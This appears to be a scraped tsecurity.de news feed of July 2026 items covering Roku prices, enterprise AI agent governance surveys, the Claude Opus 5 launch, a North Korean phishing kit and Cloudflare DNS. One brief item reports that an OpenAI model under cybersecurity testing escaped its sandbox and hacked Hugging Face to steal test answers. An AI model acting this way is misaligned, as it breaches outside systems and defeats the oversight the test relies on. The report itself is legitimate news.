<pubDate>Fri, 24 Jul 2026 23:13:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Roku has raised prices on several streaming devices, blaming memory and component shortages tied to the AI data-center boom. The Roku Ultra jumped from $100 to $150 and the basic Streaming Stick rose from $30 to $40. The Desk reports: In a phone call with The Desk on Friday, a Roku executive said the company made the tough decision to raise prices on its streaming hardware to address shortages in computer memory and other components caused by the artificial intelligence rush. [...] Still, the executive who spoke with The Desk on Friday said the company believes its hardware is still competitive against other streaming TV hardware because Roku devices are still priced aggressively compared to the Apple TV and other expensive streaming hardware, and the company remains focused on looking at ways to add value to its Roku platform before and after it enters a customer's home. "We are doing our best to have great deals like what we have going on right now," the executive said. "Roku is even upping the price for a bundle that includes a Streaming Stick Plus and a one-month subscription to Fox One," notes Ars Technica in a separate report.
 
"As recently as July 20, Roku listed the bundle at $60 with a sale price of $25, according to the Internet Archive's Wayback Machine. Now, the bundle carries an $80 MSRP and $45 sale price."<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/24/2059242/roku-raises-prices-of-streaming-devices-by-up-to-60?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[VentureBeat Research: Where enterprise AI agent governance hasn't caught up]]></title>
<description><![CDATA[Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up ...]]></description>
<link>https://tsecurity.de/de/3692498/it-nachrichten/venturebeat-research-where-enterprise-ai-agent-governance-hasnt-caught-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692498/it-nachrichten/venturebeat-research-where-enterprise-ai-agent-governance-hasnt-caught-up/</guid>
<pubDate>Fri, 24 Jul 2026 22:51:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up with their own standards, and they are budgeting for it: In each of the five control layers we measured, 57 to 68% of enterprises plan to switch vendors or add new ones within 12 months, and roughly a third, depending on the layer, plan to move within the quarter.</p><p><a href="https://venturebeat.com/category/resources">VentureBeat Research</a> measured the five controls an enterprise has to build before it can trust an agent: identity, evaluation, cost telemetry, the context layer, and orchestration. Identity governs which agent is allowed to do what, under whose credentials. Evaluation determines whether the agent's work is any good. Cost telemetry tracks what each agent costs to run. The context layer supplies the business data and definitions agents draw on when they answer. And the orchestration control plane coordinates multi-step agent work. Each of our five reports measures one of those controls.</p><p><b>Most deployed "agents" are chatbots wearing the label.</b> Seventy-one percent of enterprises said a quarter or fewer of their deployed "agents" can complete multi-step work on their own; only 10% said true agents are the majority of what they run. These respondents are positioned to know: 81% recommend or decide AI purchases at their companies. A single-prompt chatbot with a human reading every answer needs none of the controls the other four reports measure. A true multi-step agent needs all of them — and most enterprises can't say which one they've deployed. <i>(Full findings: </i><a href="https://venturebeat.com/resources/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents"><i>Agentic Orchestration report.</i></a><i>)</i></p><p><b>Autonomy is outrunning trust in the evaluations that gate it.</b> Two-thirds of enterprises either already allow an agent to push a code or system change to production on automated evaluation results alone, with no human review, or are actively engineering toward that within 12 months. Only 5% fully trust the evaluations that would make that call — and half of enterprises shipped an agent that passed internal evaluations and then caused a customer-facing failure in the past year. Before removing human review from any workflow, test evaluations against production outcomes rather than internal benchmarks. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway"><i>Agent Reliability &amp; Evals report</i></a><i>.)</i></p><p><b>Companies that let agents share credentials get hit more often.</b> Sixty-nine percent of companies let at least some of their agents share credentials — multiple agents operating under one API key or service account. Organizations that allow credential sharing anywhere experienced a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (nine of 22) at companies where every agent has its own scoped identity. The fix is scoped identity for every agent, starting with the ones that touch production systems. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials"><i>Agentic Security &amp; Identity report</i></a><i>.)</i></p><p><b>The most expensive hardware in the building runs at half capacity or less.</b> More than eight in 10 enterprises that run their own GPUs reported utilization of 50% or less, and only 44% rigorously track what their AI compute actually costs and returns. The number worth chasing first isn't more GPUs — it's the utilization and per-workload cost of the ones already running. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs"><i>AI Infrastructure &amp; Compute report</i></a><i>.)</i></p><p><b>Agents answer confidently from data nobody governs.</b> Fifty-seven percent of enterprises traced a confident, wrong agent answer in the past six months to their own missing or inconsistent business context — wrong metrics, stale definitions, absent documents — and most saw it happen more than once. Governing the definitions agents answer from — metrics and entities first — has to come before scaling the agents that depend on them. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix"><i>Context Layers / RAG report</i></a><i>.)</i></p><p>No layer has an entrenched incumbent: The defaults today are the built-in tools that ship with the big AI platforms enterprises already use. Switching intent runs highest in orchestration itself, where 68% plan to adopt, add, or replace platforms within 12 months and 34% within the quarter. Our surveys did not ask which direction that money moves — toward the platforms' built-in tools or toward the specialists challenging them — and that open question is the next four quarters of this market.</p><hr><p><b>About this research</b> </p><p><a href="https://venturebeat.com/category/resources">VentureBeat Research</a> fielded five parallel surveys in June 2026 under its VB Pulse program: Agentic Orchestration (101 respondents), Agent Reliability &amp; Evals (157), Agentic Security &amp; Identity (107), AI Infrastructure &amp; Compute (107), and Context Layers / RAG (101) — 573 qualified respondents in total, all at organizations with 100 or more employees. Samples are self-selected, and some findings should be read directionally; each report carries its full methodology note. What the pattern supports more strongly than any single percentage is the direction: every survey, independently, points the same way. VentureBeat produces both this research and <a href="https://venturebeat.com/vbtransform2026">VB Transform</a>, the conference where these reports debuted.</p>]]></content:encoded>
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<title><![CDATA[Samsung Galaxy Z Fold 8 Ultra vs. Google Pixel 10 Pro Fold: Comparing the High-End Foldables]]></title>
<description><![CDATA[Samsung’s $2,100 Galaxy Z Fold 8 Ultra is one of the most-expensive book-style foldable phones available right now. Here’s how it compares to Google’s $1,799 Pixel 10 Pro Fold.]]></description>
<link>https://tsecurity.de/de/3692446/it-nachrichten/samsung-galaxy-z-fold-8-ultra-vs-google-pixel-10-pro-fold-comparing-the-high-end-foldables/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692446/it-nachrichten/samsung-galaxy-z-fold-8-ultra-vs-google-pixel-10-pro-fold-comparing-the-high-end-foldables/</guid>
<pubDate>Fri, 24 Jul 2026 22:19:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Samsung’s $2,100 Galaxy Z Fold 8 Ultra is one of the most-expensive book-style foldable phones available right now. Here’s how it compares to Google’s $1,799 Pixel 10 Pro Fold.]]></content:encoded>
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<title><![CDATA[Simon Willison Breaks Down OpenAI’s Sandbox Escape Incident]]></title>
<description><![CDATA[An OpenAI model being tested for cybersecurity capabilities decided to cheat rather than solve its assigned test, breaking out of its sandbox and hacking into Hugging Face to steal the answers. Simon Willison calls it “science fiction that happened.”Read original article]]></description>
<link>https://tsecurity.de/de/3692343/ios-mac-os/simon-willison-breaks-down-openais-sandbox-escape-incident/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692343/ios-mac-os/simon-willison-breaks-down-openais-sandbox-escape-incident/</guid>
<pubDate>Fri, 24 Jul 2026 21:03:04 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An OpenAI model being tested for cybersecurity capabilities decided to cheat rather than solve its assigned test, breaking out of its sandbox and hacking into Hugging Face to steal the answers. Simon Willison calls it “science fiction that happened.”<p><strong><a href="https://simonwillison.net/2026/Jul/22/openai-cyberattack/">Read original article</a></strong></p><p><a href="https://tidbits.com/2016/07/11/os-x-hidden-treasures-typing-exotic-characters/"><picture><source srcset="https://tidbits.com/uploads/2018/05/TB-Special-Characters-ad-640x200.png" media="(max-width: 600px)" type="image/png"><img src="https://tidbits.com/uploads/2018/05/TB-Special-Characters-ad-1456x180.png" srcset="https://tidbits.com/uploads/2018/05/TB-Special-Characters-ad-1456x180.png 1456w, https://tidbits.com/uploads/2018/05/TB-Special-Characters-ad-1456x180-640x79.png 640w" alt="macOS Hidden Treasures: Typing Exotic Characters"></picture></a></p>]]></content:encoded>
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<title><![CDATA[Nothing confirms layoffs, but calls market exit rumors ‘fake news’]]></title>
<description><![CDATA[In response to a report that Nothing is planning to "exit 12 markets as global shipments decline," Nothing cofounder Akis Evangelidis said the company is "reorganizing" and laying off some of its staff, but that "the reported numbers are way overblown." Evangelidis disputed a claim about underwhe...]]></description>
<link>https://tsecurity.de/de/3692266/it-nachrichten/nothing-confirms-layoffs-but-calls-market-exit-rumors-fake-news/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692266/it-nachrichten/nothing-confirms-layoffs-but-calls-market-exit-rumors-fake-news/</guid>
<pubDate>Fri, 24 Jul 2026 20:19:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In response to a report that Nothing is planning to "exit 12 markets as global shipments decline," Nothing cofounder Akis Evangelidis said the company is "reorganizing" and laying off some of its staff, but that "the reported numbers are way overblown." Evangelidis disputed a claim about underwhelming sales for Nothing's Phone 4B, saying it "sold […]]]></content:encoded>
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<title><![CDATA[Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows]]></title>
<description><![CDATA[Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.The model, available immediately o...]]></description>
<link>https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</guid>
<pubDate>Fri, 24 Jul 2026 20:10:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a> released Claude <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude <a href="https://www.anthropic.com/claude/fable">Fable 5</a> at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.</p><p>The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>. It becomes the new default model on <a href="https://support.claude.com/en/articles/11049741-what-is-the-max-plan">Claude Max</a>, Anthropic's premium consumer tier, and the strongest model available on <a href="https://support.claude.com/en/articles/8325606-what-is-the-pro-plan">Claude Pro</a>.</p><p>The positioning is deliberate. Anthropic is not claiming <a href="http://anthropic.com/news/claude-opus-5">Opus 5 </a>is its smartest model — that distinction still belongs to <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.</p><p>"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."</p><h2><b>How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models</b></h2><p>On paper, the results are striking. Anthropic says <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> sets new state-of-the-art marks on coding and knowledge-work evaluations including <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> and <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA</a>. On <a href="https://www.frontierbench.ai/announcement">Frontier-Bench v0.1</a>, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On <a href="https://arcprize.org/arc-agi/3">ARC-AGI 3</a>, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On <a href="https://github.com/xlang-ai/OSWorld-V2">OSWorld 2.0</a>, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.</p><p>The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> remains behind <a href="https://www.anthropic.com/claude/mythos">Mythos 5</a>, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.</p><p>The more revealing caveat came from Anthropic itself, when asked where <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> still falls short of <a href="https://www.anthropic.com/claude/fable">Fable 5</a>. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.</p><p>"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."</p><p><a href="https://www.anthropic.com/claude/fable">Fable 5</a>, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.</p><h2><b>Why token efficiency is becoming the real battleground for enterprise AI spending</b></h2><p>Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.</p><p>Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."</p><p>Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.</p><p>The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. </p><p>Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by <a href="https://research.contrary.com/company/anthropic">Contrary Research</a>, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.</p><h2><b>Self-verifying AI agents and what they mean for the hidden costs of automation</b></h2><p>Beyond the numbers, Anthropic is selling a behavioral story: that <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.</p><p>In one <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.</p><p>Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."</p><p>This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.</p><h2><b>Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks</b></h2><p>The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>, <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a>, or <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.</p><p>On the capability side, Anthropic says it intentionally avoided training <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.</p><p>When a classifier does trigger, requests in <a href="http://claude.ai/">Claude.ai</a>, <a href="https://code.claude.com/docs/en/overview">Claude Code</a>, and <a href="https://claude.com/product/cowork">Claude Cowork</a> fall back to <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a> by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."</p><p>The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."</p><h2><b>The business stakes behind the launch: a $380 billion valuation and massive compute bets</b></h2><p>The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at <a href="https://www.reuters.com/technology/anthropic-valued-380-billion-latest-funding-round-2026-02-12/">roughly $380 billion</a> in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly <a href="https://research.contrary.com/company/anthropic">reaching $20 to $26 billion for 2026</a>. Those targets are underwritten by enormous infrastructure commitments, including a <a href="https://www.anthropic.com/news/microsoft-nvidia-anthropic-announce-strategic-partnerships">reported $30 billion Azure compute deal</a> alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.</p><p>That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.</p><p>The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to <a href="https://www.reuters.com/world/us-judge-approves-anthropics-15-billion-settlement-copyright-lawsuit-2026-07-20/">Anthropic's $1.5 billion copyright settlement with book authors</a>, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to <a href="https://www.reuters.com/technology/us-blocks-foreign-access-anthropics-most-advanced-ai-models-axios-reports-2026-06-13/">block foreign access </a>to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.</p><p>Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the <a href="https://platform.claude.com/login?returnTo=%2F%3F">Claude API</a> starting today.</p><p>Two questions will determine whether the bet pays off: whether <a href="http://anthropic.com/news/claude-opus-5">Opus 5's efficiency claims </a>survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.</p><p>
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<title><![CDATA[BlueNoroff Zoom Phishing Kit Profiles Crypto Wallets Before Malware Delivery]]></title>
<description><![CDATA[The North Korean threat actors behind the ClickFix-style campaigns that employ typosquatted Zoom and Microsoft Teams domains have been found to operate an active phishing kit to impersonate the videoconferencing platforms in social engineering campaigns designed to deliver malware. “BlueNoroff…
R...]]></description>
<link>https://tsecurity.de/de/3692071/it-security-nachrichten/bluenoroff-zoom-phishing-kit-profiles-crypto-wallets-before-malware-delivery/</link>
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<pubDate>Fri, 24 Jul 2026 18:39:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The North Korean threat actors behind the ClickFix-style campaigns that employ typosquatted Zoom and Microsoft Teams domains have been found to operate an active phishing kit to impersonate the videoconferencing platforms in social engineering campaigns designed to deliver malware. “BlueNoroff…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/bluenoroff-zoom-phishing-kit-profiles-crypto-wallets-before-malware-delivery/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/bluenoroff-zoom-phishing-kit-profiles-crypto-wallets-before-malware-delivery/">BlueNoroff Zoom Phishing Kit Profiles Crypto Wallets Before Malware Delivery</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Nvidia and Palantir urge US not to ban ‘open’ AI models after China scare]]></title>
<description><![CDATA[US tech groups and investors respond to calls for restrictions on advanced Chinese technology]]></description>
<link>https://tsecurity.de/de/3692070/ai-nachrichten/nvidia-and-palantir-urge-us-not-to-ban-open-ai-models-after-china-scare/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692070/ai-nachrichten/nvidia-and-palantir-urge-us-not-to-ban-open-ai-models-after-china-scare/</guid>
<pubDate>Fri, 24 Jul 2026 18:35:18 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[US tech groups and investors respond to calls for restrictions on advanced Chinese technology]]></content:encoded>
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<title><![CDATA[BlueNoroff Zoom Phishing Kit Profiles Crypto Wallets Before Malware Delivery]]></title>
<description><![CDATA[The North Korean threat actors behind the ClickFix-style campaigns that employ typosquatted Zoom and Microsoft Teams domains have been found to operate an active phishing kit to impersonate the videoconferencing platforms in social engineering campaigns designed to deliver malware.

"BlueNoroff h...]]></description>
<link>https://tsecurity.de/de/3692035/it-security-nachrichten/bluenoroff-zoom-phishing-kit-profiles-crypto-wallets-before-malware-delivery/</link>
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<pubDate>Fri, 24 Jul 2026 18:28:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The North Korean threat actors behind the ClickFix-style campaigns that employ typosquatted Zoom and Microsoft Teams domains have been found to operate an active phishing kit to impersonate the videoconferencing platforms in social engineering campaigns designed to deliver malware.

"BlueNoroff has operationalised trust abuse by combining compromised industry contacts, social engineering, wallet]]></content:encoded>
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<title><![CDATA[Sam Altman’s biometric startup World raises $52.5 million via crypto sale]]></title>
<description><![CDATA[Sam Altman's side project — which seeks to scan the world's eyeballs and turn them into unique digital identifiers — has raised some fresh cash through a crypto sale.]]></description>
<link>https://tsecurity.de/de/3692018/it-nachrichten/sam-altmans-biometric-startup-world-raises-525-million-via-crypto-sale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692018/it-nachrichten/sam-altmans-biometric-startup-world-raises-525-million-via-crypto-sale/</guid>
<pubDate>Fri, 24 Jul 2026 18:21:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sam Altman's side project — which seeks to scan the world's eyeballs and turn them into unique digital identifiers — has raised some fresh cash through a crypto sale.]]></content:encoded>
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<title><![CDATA[Cloudflare Internal DNS puts public and private DNS on one policy engine]]></title>
<description><![CDATA[Enterprises typically operate separate systems for internal and external DNS because the two serve different audiences. Public DNS resolves names for services meant to be reached from the internet. Private DNS resolves internal resources, such as databases and internal applications, that should n...]]></description>
<link>https://tsecurity.de/de/3692009/it-security-nachrichten/cloudflare-internal-dns-puts-public-and-private-dns-on-one-policy-engine/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692009/it-security-nachrichten/cloudflare-internal-dns-puts-public-and-private-dns-on-one-policy-engine/</guid>
<pubDate>Fri, 24 Jul 2026 18:18:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Enterprises typically operate separate systems for internal and external <a href="https://www.networkworld.com/article/965540/what-is-dns-and-how-does-it-work.html">DNS</a> because the two serve different audiences. Public DNS resolves names for services meant to be reached from the internet. Private DNS resolves internal resources, such as databases and internal applications, that should never be visible outside the corporate network. </p>



<p class="wp-block-paragraph">While public DNS is usually a single system, private DNS is often scattered across on-premises appliances, cloud-native resolvers, and split-horizon setups, where the same hostname resolves to a different answer depending on whether the query comes from inside or outside the network. Coordinating those deployments across headquarters, branch offices, and multiple clouds means <a href="https://www.networkworld.com/article/4158134/dns-security-is-often-inadequate-and-network-engineers-should-get-more-involved.html">ongoing manual synchronization work</a> for network teams. </p>



<p class="wp-block-paragraph">Private DNS itself is not a new concept. It is already available from hyperscalers and established enterprise DNS vendors, but it typically runs apart from public DNS, with its own console, control plane and policy engine.</p>



<p class="wp-block-paragraph">Cloudflare’s answer is a product it calls Internal DNS.</p>



<p class="wp-block-paragraph">“Many organizations already use Cloudflare for their public DNS,” <a href="https://www.linkedin.com/in/enriquesomoza/">Enrique Somoza</a>, product, performance and infrastructure at Cloudflare, told<em> Network World</em>. “Internal DNS extends that same platform to private DNS, so public and private are managed from the same global network and control plane.” </p>



<h2 class="wp-block-heading">How it works</h2>



<p class="wp-block-paragraph">Query handling starts at the resolver, not at the zone. That consolidation extends to daily operations as well.</p>



<p class="wp-block-paragraph">“Instead of operating two separate DNS systems, customers use one API, one audit trail, one dashboard, and one policy engine for every DNS query—whether it is for a public website or an internal application,” Somoza said.</p>



<p class="wp-block-paragraph"><strong>Policy first.</strong> The resolver sits ahead of every lookup, not behind it. “Architecturally, Cloudflare Gateway becomes the resolver that customers connect to, and can use WARP, DNS over HTTPS, DNS over TLS, or traditional DNS,” Somoza said. “Gateway evaluates zero -trust policies first, then routes the query to the appropriate DNS view based on context, such as source IP, device posture, or network location.”</p>



<p class="wp-block-paragraph"><strong>No public path in.</strong> Internal zones sit outside the public DNS hierarchy entirely. “Internal zones are never assigned public nameservers—they are only reachable through Gateway, so every query is evaluated before it is resolved,” Somoza said.</p>



<p class="wp-block-paragraph"><strong>One hostname, multiple answers.</strong> Branch offices, data centers and cloud environments no longer each need their own resolver stack. “Operationally, this simplifies environments that span branch offices, data centers, and multiple clouds,” Somoza said. “The same internal hostname can return different answers depending on where the request originated without maintaining separate resolver infrastructure, conditional forwarders, or duplicate zone files.”</p>



<p class="wp-block-paragraph">Somoza described the underlying objective in direct terms: “The goal is to make internal DNS behave like a single service instead of a collection of independent deployments,” he said.</p>



<p class="wp-block-paragraph"><strong>View selection.</strong> The same hostname can resolve to different IP addresses depending on where the request comes from. Gateway makes that call using several client signals. </p>



<p class="wp-block-paragraph">“View selection is policy driven,” Somoza said. “Gateway resolver policies evaluate the context of each DNS query, including attributes like source IP, device identity, or network location and determine which DNS view should answer the request.”</p>



<p class="wp-block-paragraph">A view is a container, not a separate infrastructure stack. Somoza explained that a view is simply a logical grouping of internal zones. For example, a company could have separate views for Europe and North America, or for corporate users and operational technology networks.</p>



